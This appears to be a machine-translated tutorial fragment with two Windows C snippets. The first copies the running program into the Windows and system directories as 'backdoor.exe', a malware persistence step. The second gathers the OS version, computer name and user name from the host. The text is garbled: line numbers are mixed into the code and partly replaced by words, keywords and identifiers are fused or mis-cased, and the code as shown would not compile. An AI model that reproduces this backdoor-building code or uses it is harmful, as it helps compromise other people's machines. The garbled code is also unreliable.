1. Copy your program to the Windows directory and system directory:
1#include <windows.h>2#include <stdio.h>3#include <string.h>4 5 voidcopyself ();6 7 intMain () {8 copyself ();9 return 0;Ten } One voidcopyself () { A Charszselfname[max_path]={0}; - Charszwindowspath[max_path]={0}; - Charszsystempath[max_path]={0}; the - GetModuleFileName (null,szselfname,max_path); - GetWindowsDirectory (szwindowspath,max_path); - getsystemdirectory (szsystempath,max_path); + -strcat (Szwindowspath,"\\backdoor.exe"); +strcat (Szsystempath,"\\backdoor.exe"); A at CopyFile (szselfname,szwindowspath,false); - CopyFile (szselfname,szsystempath,false); -}
2. Get information about the system:
1#include <windows.h>2#include <stdio.h>3 4 voidgetsysinfo ();5 6 intMain () {7 getsysinfo ();8 return 0;9 }Ten voidGetsysinfo () { One Charszcomputername[maxbyte]={0}; A Charszusername[maxbyte]={0}; -UnsignedLongNsize=Maxbyte; - osversioninfo osver; the -Osver.dwosversioninfosize=sizeof(OSVERSIONINFO); -GetVersionEx (&osver); - + if(osver.dwplatformid==ver_platform_win32_nt) { - if(osver.dwmajorversion==5&&osver.dwminorversion==1) +printf"Windows XP%s \ r \ n", osver.szcsdversion); A Else if(osver.dwmajorversion==5&&osver.dwminorversion==0) atprintf"Windows 2K \ r \ n"); -}Else{ -printf"Other System \ r \ n"); - } - -GetComputerName (szcomputername,&nSize); inprintf"computer Name is%s \ r \ n", szcomputername); - toNsize=Maxbyte; +GetUserName (szusername,&nSize); -printf"User Name is%s \ r \ n", szusername); the}
With a few small API practiced hand